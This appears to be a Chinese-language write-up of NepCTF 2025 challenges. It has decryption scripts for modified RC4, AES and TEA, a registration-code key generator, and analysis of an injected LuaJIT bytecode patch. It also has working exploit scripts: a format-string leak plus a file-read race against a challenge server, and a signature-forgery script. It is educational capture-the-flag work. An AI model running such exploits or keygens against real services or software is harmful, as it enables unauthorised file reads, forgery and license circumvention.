NepCTF2025
Realme #
Seeing is not necessarily believing, can you recognize the real me?
RC4,但看题目描述像是 SMC,所以直接 Scylla 拖下来
只有 KSA 有两处魔改
key = b"Y0u_Can't_F1nd_Me!"
sec = [ 0x50, 0x59, -94, -108, 46, -114, 92, -107, 121, 22, -27, 54, 96, -57, -24,
6, 51, 120, -16, -48, 54, -56, 115, 27, 101, 64, -75, -44, -24, -100, 101,
-12, -70, 98, -48 ]
for i in range(len(sec)):
sec[i] = sec[i] & 0xff
def ksa(key):
klength = len(key)
result = list(range(256))
for i in range(256):
result[i] = i ^ 0xCF
j = 0
for i in range(256):
j = (key[i % klength] + j + result[i]) % 256
result[i], result[j] = result[j], result[i] ^ 0xAD
return result
def prng(sbox, plength):
result = list(range(plength))
ii, jj = 0, 0
for i in range(plength):
ii = (ii + 1) % 256
jj = (jj + ii * sbox[ii]) % 256
sbox[ii], sbox[jj] = sbox[jj], sbox[ii]
result[i] = sbox[(sbox[ii] + sbox[jj]) % 256]
return result
s = ksa(key)
p = prng(s, len(sec))
for i in range(len(sec)):
if i % 2 == 1:
sec[i] = (sec[i] - p[i]) % 256
else:
sec[i] = (sec[i] + p[i]) % 256
flag = bytes(sec)
print(flag)
# NepCTF{Y0u_FiN1sH_Th1s_E3sy_Smc!!!}
Crackme #
inkey最近在学校上学时,老师安排了一个任务,而有一款软件可以很快地梭哈完成,但是支付需要高额的费用。 于是同学们都来拜托inkey,希望能他能破解出软件的注册码,并发给他们每个人。 (靶机网页登录上去后,提交每个用户名对应的注册码,全部正确即可得到flag)
随便输点东西会报 please try again,搜索字符串找到 sub_4021C0,这个就是校验函数
其中,qword_409040 和 qword_409048 是由 QT 绑定的导入函数,前者叫 sign,后者叫 aesEncrypt,位于 libcrypto.dll
调试 + 阅读逻辑可以知道,校验目标是 aesEncrypt(sign(username), cdk) == sign(username + 'Showmaker11')
aesEncrypt 和 sign 被上了很多轮 CFF,根据第六感,这肯定魔改了
sign 的结果只和用户名有关,不用逆,加载 DLL 直接调就行
aesEncrypt 用 D810 勉勉强强只能解掉最外面一层
在我能想到的基本块下断点调试,很快就能看到 mix_single_column 处有一个魔改
直接尝试解密,发现就这一处魔改,出题人很善良
def __mix_single_column(self, a):
#t = a[0] ^ a[1] ^ a[2] ^ a[3]
t = a[0] ^ a[1] ^ a[2] ^ a[3] ^ 0x55
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
InvSbox = (
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)
# learnt from http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
Rcon = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
def text2matrix(text):
matrix = []
for i in range(16):
byte = (text >> (8 * (15 - i))) & 0xFF
if i % 4 == 0:
matrix.append([byte])
else:
matrix[i // 4].append(byte)
return matrix
def matrix2text(matrix):
text = 0
for i in range(4):
for j in range(4):
text |= (matrix[i][j] << (120 - 8 * (4 * i + j)))
return text
class AES:
def __init__(self, master_key):
self.change_key(master_key)
def change_key(self, master_key):
self.round_keys = text2matrix(master_key)
#print(self.round_keys)
for i in range(4, 4 * 11):
self.round_keys.append([])
if i % 4 == 0:
byte = self.round_keys[i - 4][0] \
^ Sbox[self.round_keys[i - 1][1]] \
^ Rcon[i // 4]
self.round_keys[i].append(byte)
for j in range(1, 4):
byte = self.round_keys[i - 4][j] \
^ Sbox[self.round_keys[i - 1][(j + 1) % 4]]
self.round_keys[i].append(byte)
else:
for j in range(4):
byte = self.round_keys[i - 4][j] \
^ self.round_keys[i - 1][j]
self.round_keys[i].append(byte)
#print(self.round_keys)
def encrypt(self, plaintext):
self.plain_state = text2matrix(plaintext)
self.__add_round_key(self.plain_state, self.round_keys[:4])
for i in range(1, 10):
self.__round_encrypt(self.plain_state, self.round_keys[4 * i : 4 * (i + 1)])
self.__sub_bytes(self.plain_state)
self.__shift_rows(self.plain_state)
self.__add_round_key(self.plain_state, self.round_keys[40:])
return matrix2text(self.plain_state)
def decrypt(self, ciphertext):
self.cipher_state = text2matrix(ciphertext)
self.__add_round_key(self.cipher_state, self.round_keys[40:])
self.__inv_shift_rows(self.cipher_state)
self.__inv_sub_bytes(self.cipher_state)
for i in range(9, 0, -1):
self.__round_decrypt(self.cipher_state, self.round_keys[4 * i : 4 * (i + 1)])
self.__add_round_key(self.cipher_state, self.round_keys[:4])
return matrix2text(self.cipher_state)
def __add_round_key(self, s, k):
for i in range(4):
for j in range(4):
s[i][j] ^= k[i][j]
def __round_encrypt(self, state_matrix, key_matrix):
self.__sub_bytes(state_matrix)
self.__shift_rows(state_matrix)
self.__mix_columns(state_matrix)
self.__add_round_key(state_matrix, key_matrix)
def __round_decrypt(self, state_matrix, key_matrix):
self.__add_round_key(state_matrix, key_matrix)
self.__inv_mix_columns(state_matrix)
self.__inv_shift_rows(state_matrix)
self.__inv_sub_bytes(state_matrix)
def __sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = Sbox[s[i][j]]
def __inv_sub_bytes(self, s):
for i in range(4):
for j in range(4):
s[i][j] = InvSbox[s[i][j]]
def __shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]
def __inv_shift_rows(self, s):
s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]
def __mix_single_column(self, a):
# please see Sec 4.1.2 in The Design of Rijndael
#t = a[0] ^ a[1] ^ a[2] ^ a[3]
t = a[0] ^ a[1] ^ a[2] ^ a[3] ^ 0x55 # 这有魔改!
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
def __mix_columns(self, s):
for i in range(4):
self.__mix_single_column(s[i])
def __inv_mix_columns(self, s):
# see Sec 4.1.3 in The Design of Rijndael
for i in range(4):
u = xtime(xtime(s[i][0] ^ s[i][2]))
v = xtime(xtime(s[i][1] ^ s[i][3]))
s[i][0] ^= u
s[i][1] ^= v
s[i][2] ^= u
s[i][3] ^= v
self.__mix_columns(s)
example_tgt = bytes.fromhex('22 EB B5 40 91 62 9C F7 E2 13 FF A8 8C 54 D9 80')
example_k = bytes.fromhex('24 25 8A 5B 6A 20 62 5D D2 71 64 32 FD E7 5E C4')
example_pt = bytes.fromhex('00112233445566778899aabbccddeeff')
example_ct = bytes.fromhex('EC FE 2B 67 01 78 CC D2 85 92 F3 8C 22 92 86 5E')
#from Crypto.Cipher import AES as AES_std
#aes_std = AES_std.new(example_k, AES_std.MODE_ECB)
#print(aes_std.encrypt(example_pt).hex())
#aes = AES(int(example_k.hex(), 16))
#print(hex(aes.encrypt(int(example_pt.hex(), 16))))
from ctypes import *
if __name__ == "__main__":
print("***NepCTF 2025 Crackme Register Machine***")
libcrypto: CDLL = WinDLL('./libcrypto.dll')
sign = libcrypto.__getattr__('sign')
sign.argtypes = [c_char_p, c_int, c_char_p]
sign.restype = c_int
buffer = create_string_buffer(128)
while True:
#msg = input('username> ').encode()
msg = input().encode()
sign(msg, len(msg), buffer)
k = buffer.raw[:16]
msg += b'Showmaker11'
sign(msg, len(msg), buffer)
tgt = buffer.raw[:16]
#print(f"k={k.hex()}, tgt={tgt.hex()}")
aes = AES(int(k.hex(), 16))
token = aes.decrypt(int(tgt.hex(), 16))
print(hex(token)[2:].zfill(32))
QRS #
选手最终得到的是NepCTF{}之间的字符串,提交需加上NepCTF{}
运行程序,提示访问 http://0.0.0.0:8887/interface/?input=xxx
PDB 提示这是 Rust tokio 库写的 HTTP 服务器
有 PDB 的情况下校验函数还是比较好找的,直接搜索 QRS 得到函数 QRS::e12c96f7a24fc73e1::axum_extract::b2a92c317a3cdec81,这个是 Extractor,找它的引用可以找到 Handler
提取 input 的时候对输入加密了,可以看到明显的 TEA 结构,但是 delta 很奇怪,是 GetTickCount 的返回值,每轮是不固定的
调试可以知道这个 API 被换掉了,实际上返回常数 0x68547369,解密是平凡的
key= [0x1234567, 0x89abcdef, 0xfedcba98, 0x76543210]
sec = [0x83ea621, 0xc745973c, 0xe3b77ae8, 0xcdee8146, 0x7dc86b96, 0x6b8c9d3b, 0x79b14342, 0x2ecf0f0d]
delta = 0x68547369
from pwn import p32
from numpy import uint32 as DWORD
def tea_decrypt(v0, v1, key, delta, r=48):
v0 = DWORD(v0)
v1 = DWORD(v1)
sum = DWORD((delta * r) & 0xffff_ffff)
for _ in range(r):
v1 -= (v0 + ((v0 << 4) ^ (v0 >> 5))) ^ (sum + key[(sum >> 11) & 0x3])
sum -= delta
v0 -= (v1 + ((v1 << 4) ^ (v1 >> 5))) ^ (key[sum & 3] + sum)
return p32(v0) + p32(v1)
flag = b""
for i in range(0, len(sec), 2):
v0, v1 = sec[i], sec[i + 1]
flag += tea_decrypt(v0, v1, key, delta)
print('NepCTF{%s}' % flag.decode())
# NepCTF{a4747f82be106d3f8c4d747c744d7ee5}
SpeedMino-Warlock #
Welcome to SpeedMino! Reach 2600.00 to get FLAG
Also, there is a SECRET FLAG you need to REVERSE it.
附件与 Misc - SpeedMino 相同
_Into realms beyond heaven and earth._
Find the true Secret FLAG
Love2D 引擎写的游戏,先 binwalk
385536 0x5E200 Zip archive data, at least v2.0 to extract, compressed size: 586, uncompressed size: 1200, name: conf.lua
386160 0x5E470 Zip archive data, at least v2.0 to extract, compressed size: 5833, uncompressed size: 23829, name: main.lua
提取到源码之后可以看到 RC4,应用密钥流的方式从异或改成了加法
流程是先加密 passTable(输入),然后和 answerTable 比较,接下来不改变 PRNG 的状态,每次得分都对 youwillget 变量做一次加密
遍历 2600 次加密,在第 51 次加密时得到第一个 flag
NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}
g_sbox = ksa(g_key)
g_stream = prga(g_sbox)
buf = list(s2)
for i in range(len(buf)):
x = next(g_stream)
buf[i] = (buf[i] - x) & 0xff
print(bytes(buf))
# FAKE{D0_You_F1nd_A_DLL_1s_5tran9e?!Challenge_Starts!!!}
buf = list(s1)
for i in range(3000):
for i in range(len(buf)):
x = next(g_stream)
buf[i] = (buf[i] + x) & 0xff
try:
print(bytes(buf).decode())
print(i)
except:
continue
# NepCTF{You_ARE_SpeedMino_GRAND-MASTER_ROUNDS!_TGLKZ}
# 51
根据解密的提示,只有 version.dll 是 Rust 写的,应该是拿这个劫持了 Windows 的同名 DLL
DllMain 中可以看到对 luaL_loadbufferx 的引用,应该是通过 hook 这个函数来动态修改游戏代码
找字符串可以找到作者夹带的私货 EvilNeuroIsCute
根据第六感,这是作者安插的代码,在字符串引用随后的函数调用处 (sub_18004D500) 下断点调试,可以在内存中 (&v56 + 8) 找到一段 toml
[manifest]
version = "1.0.0"
priority = 0
# Define a var substitution rule. This searches for lines that contain {{lovely:var_name}}
# (var_name from this example, it can really be anything) and replaces each match with the
# provided value.
# This example would transform print('{{lovely:var_name}}') to print('Hello world!').
#
# USEFUL: For when you want to reduce the complexity of repetitive injections, eg. embedding
# release version numbers in multiple locations.
[vars]
# Inject one or more lines of code before, after, or at (replacing) a line which matches
# the provided pattern.
#
# USEFUL: For when you need to add / modify a small amount of code to setup initialization
# routines, etc.
[[patches]]
[patches.pattern]
target = "main.lua"
pattern = " local verfiy = true"
position = "after"
payload = '''
local NEURO="\x1b\x4c\x4a\x02\n\x6c\0\x02\x05\0\0\x04\x18\x18\x02\0\0\x1b\x02\x01\x02\x20\x02\x01\x02\x55\x03\x12\x80\x29\x03\x02\0\x55\x04\x0e\x80\"\x04\x03\x03\x01\x02\x04\0\x58\x04\x05\x80\x17\x04\x02\x02\x1a\x04\x03\x04\b\x04\x01\0\x58\x04\x01\x80\x4c\x02\x02\0\x24\x04\x03\x02\t\x04\x01\0\x58\x04\x01\x80\x58\x04\x02\x80\x16\x03\x02\x03\x58\x04\xf1\x7f\x16\x02\x02\x02\x58\x03\xed\x7f\x29\x03\x7f\x01\x4c\x03\x02\0\x80\x06\0\x02\n\xad\x01\0\x01\x0e\x02\x01\x03\x25\x29\x01\x01\x00\x35\x02\0\0\x2d\x03\0\0\x15\x03\x03\0\x15\x04\0\0\x04\x03\x04\0\x58\x03\x02\x80\x2b\x03\x01\0\x4c\x03\x02\0\x29\x03\x01\0\x15\x04\0\0\x29\x05\x01\0\x4d\x03\x16\x80\x38\x07\x06\x02\x16\b\0\x06\x38\b\b\x02\"\x07\b\x07\x38\b\x06\0\x1b\b\x01\b\x29\t\x05\0\x25\b\t\b\x24\b\x07\b\x2d\t\0\x00\x38\t\x06\t\x04\b\t\0\x58\t\x02\x80\x2b\t\x01\0\x4c\t\x02\0\x16\t\x02\x06\x2d\n\x01\0\x12\f\x06\x00\x38\r\x06\0\x42\n\x03\x02\x3c\n\t\x02\x4f\x03\xea\x7f\x2b\x03\x02\0\x4c\x03\x02\0\x02\xc0\x01\xc0\x01\x03\0\0\x03\xe7\x02\x03\xff\x02\x02\x80\x01\x04\xbb\x02\x01\x01\x07\0\x03\0\x07\x33\x01\0\x00\x35\x02\x01\x00\x33\x03\x02\0\x12\x04\x03\0\x12\x06\0\x00\x32\0\0\x80\x44\x04\x02\0\0\x01\x38\0\0\x03\x9a\x9d\x02\x03\xc6\xb5\x05\x03\xa6\xe4\x1a\x03\x91\xd3\x28\x03\xfb\xd3\x06\x03\x82\xd7\x81\x01\x03\xe4\xf2\xa8\x01\x03\xc4\xa8\x9f\x01\x03\x81\xdd\xc7\x01\x03\xc3\xdf\x90\x04\x03\xc7\x9d\xb9\x02\x03\xf4\x8f\x3f\x03\xfb\xd7\x99\x03\x03\x87\xe9\x8a\x06\x03\xf2\xa5\xc8\t\x03\xcd\xae\xa2\x03\x03\xea\xf5\xf5\x02\x03\xd5\xa8\xec\x01\x03\x92\x9d\xcb\x06\x03\x98\xd1\x95\x07\x03\xf6\xaa\xc5\x12\x03\xf7\xd2\x8f\x05\x03\xd5\x8b\xbf\f\x03\xd6\xd2\xc8\x15\x03\xea\xf3\xa3\x16\x03\x8e\xc4\xd1\x03\x03\xae\xf9\x84\n\x03\xf5\xe7\xd0\x20\x03\xe2\xcf\x9d\x17\x03\x98\xe7\xa4\x2d\x03\xf3\x88\xaa\x1a\x03\xa4\xa5\xfd\x35\x03\x80\xa8\x85\x29\x03\xe7\x97\xb1\x49\x03\xe1\xdd\x99\x41\x03\xc7\xf6\x89\x2a\x03\xb6\x88\xc1\x33\x03\xbb\xdb\x97\"\x03\xa9\xa4\xf7\x4a\x03\xb2\x90\xd7\n\x03\x84\xad\xea\x13\x03\xe1\xcd\x86\x69\x03\xf1\xc5\xb4\x29\x03\x8d\xfb\xe8\x3d\x03\xa9\xa0\xbf\x72\x03\x93\xf0\xf5\x7a\x03\xbc\x97\xa6\x2c\x03\xae\x83\xa1\x19\x03\xd9\xf2\x90\r\x03\xc9\xe6\xa9\x83\x01\x03\xf1\xcc\xe1\xad\x01\x03\xb2\x8f\xde\x78\x03\xaa\x99\xbf\xb9\x01\x03\xc5\xe7\xa3\xab\x01\x03\xa3\xaf\xf4\xa0\x01\0\0"
if (load(NEURO))(result_table) then
SFX.play('pc')
MSG('check','PERFECT!')
end
NEURO=nil
'''
match_indent = true
times = 1
搜了一下,这是 lovely-injector 的模组配置文件,主要功能就是根据字符串匹配来 patch 游戏源码
可以看到一段安插在 verify 前的字节码,这段字节码以 \x1bLJ 开头,是 Luajit 字节码
放到 网上 反编译,整理后源码如下
local function gen(idx, m) -- 找模 5 不为 1 的的素数
local rk = idx * 384 + 0 + m
while true do
local n = 2
while true do
if rk < n * n then
if ((rk - 1) % 5) ~= 0 then
return rk
end
end
if (rk % n) == 0 then
break
end
n = n + 1
end
rk = rk + 1
end
end
local ct = {
nil,
36506,
88774,
-- 还有很多,略
}
return (function(pt)
local key = {
nil,
359,
383
}
for i = 1, #pt, 1 do
if (pt[i] + 64) ^ 5 % (key[i] * key[(i + 1)]) ~= ct[i] then
return false
end
key[i + 2] = gen(i, pt[i])
end
return true
end)(arg0)
照着算法解密即可,解密出来的东西是 RC4 的密文,再解密得到第二个 flag
NepCTF{Y0u_c4n_M0dDing_LOVE2D_g@mE_By_l0vely_iNjector!}
是的我是一血💪
Time #
时间就是答案
0x2D0B 处的 printf 有格式化字符串漏洞,可以构造用户名泄漏文件内容
读 flag 提示 flag is not allowed,然而校验文件名和读取文件内容由不同的线程执行
如果在读取线程还在计算 MD5 的时候,输入线程将文件名置换为 flag,读取线程就将读取 flag 的内容
payload 取 1000 个 a 加上 ’ flag’ 即可
经过测试,缓冲区在第 22 个参数的位置
from pwn import *
import re
host = 'nepctf31-ary4-oai9-vtcd-g5r3fe4b4501.nepctf.com'
port = 443
r = remote(host, port, ssl=True)
username = ''
for i in range(22, 22+10):
username += f'%{i}$.16llx'
username = username.encode()
context.log_level = 'debug'
r.recvuntil(b":\n", drop=True)
r.sendline(username)
payload = b'a' * 1000 + b' flag'
for i in range(100): # try at most 100 times
r.recvuntil(b":\n", drop=True)
r.sendline(payload)
response = r.recvuntil(b'!\n', drop=True) # flag is not allowed!
response = r.recvuntil(b'!\n', drop=True)
if b'hello' in response:
break
r.close()
response = response.decode()
match: re.Match = re.search(r'hello (.+) ,', response)
hx = match.group(1)
print(hx)
flag = b''
for i in range(0, len(hx), 16):
flag += bytes.fromhex(hx[i:i+16])[::-1]
print(flag)
#NepCTF{58b2af59-4a5e-7b7b-caa1-8cab11676dd3}
Nepsign #
来签个名吧!flag格式为NepCTF{xxx}
校验数组 qq 的时候每一项都是独立的,因为服务端是一个签名机,可以用类似 CPA 的方式伪造签名
先生成目标消息对应的 step 数组
hex_symbols = '0123456789abcdef'
def generate_steps(pt):
global hex_symbols
m = SM3(pt)
m_bin = bin(int(m, 16))[2:].zfill(256)
a = [int(m_bin[8 * i: 8 * i + 8], 2) for i in range(32)]
step = [0] * 48;
for i in range(32):
step[i] = a[i]
sum = [0] * 16
for i in range(16):
sum[i] = 0
for j in range(1, 65):
if m[j - 1] == hex_symbols[i]:
sum[i] += j
step[i + 32] = sum[i] % 255
return step
pt_tgt = b'happy for NepCTF 2025'
step_tgt = generate_steps(pt_tgt)
print(step_tgt)
对 step 的每一字节,可以枚举找到和目标消息不同,但其 step 数组在那一字节上相同的消息,这样预先生成一个 todo 数组
def get_todo_list():
global step_tgt
todo = [None] * 48
cnt = 0
for j in range(0x2000):
data = hex(j).encode()
step_ = generate_steps(data)
for i in range(48):
if todo[i] is not None:
continue
if step_[i] == step_tgt[i]:
todo[i] = data
cnt += 1
assert(cnt == 48)
print(todo)
拼凑 todo 数组中消息对应的 qq 在相应位置上的值就是目标消息的签名
todo = [b'0x10c', b'0x17', b'0x39', b'0x50', b'0x1ca', b'0x2b1', b'0x31', b'0x38e', b'0x133', b'0x78', b'0x70', b'0x37', b'0xcf', b'0x3ee', b'0x14f', b'0xdd', b'0x90', b'0x14a', b'0x36', b'0x2fe', b'0xb', b'0x3f', b'0x54', b'0x606', b'0x1b1', b'0x430', b'0x132', b'0x11f', b'0x2b', b'0x27e', b'0x2', b'0x1cc', b'0x79', b'0x12f', b'0x11', b'0x4', b'0xf2', b'0xbc', b'0x10f', b'0x3f', b'0x66', b'0x9f', b'0x4b', b'0x61', b'0x48', b'0x6a', b'0x26', b'0x12b']
host = 'nepctf32-x25i-l1tp-qgfa-vltfobycm284.nepctf.com'
port = 443
context.log_level = 'debug'
r = remote(host, port, ssl=True)
r.recvline()
qq = [None] * 48
for i in range(48):
r.recvuntil(b' ', drop=True)
r.sendline(b'1')
r.recvuntil(b' ', drop=True)
r.sendline(todo[i].hex().encode())
iqq_str = r.recvline(keepends=False)
iqq = literal_eval(iqq_str.decode())
qq[i] = iqq[i]
r.recvuntil(b' ', drop=True)
r.sendline(b'2')
r.recvuntil(b' ', drop=True)
r.sendline(str(qq))
flag = r.recvline(keepends=False)
r.close()
print(flag)
#NepCTF{7638a57a-95ea-2b75-bcc8-769c827025c3}
复盘 #
FlutterPro #
Not Easy, Not Baby, it is PRO!
WIP
XSafe #
一行代码也能逆向吗?xiaoji回答:能的兄弟,能的。
解题要求:
- 在非调试的环境中,加载驱动,驱动返回0表示加载成功,此时运行exe文件可以校验输入的flag。
- 驱动只进行了测试签名,请自行解决加载问题(驱动不会对操作系统进行任何破坏性操作,请放心加载)。
- 必须使用64位Win10-Win11 22H2系统解题。
flag格式:NepCTF2025{uuid}
WIP
reboot #
勇敢的MK.99获取到了boot文件,让帮MK.99解锁权限吧。
WIP
总结 #
WIP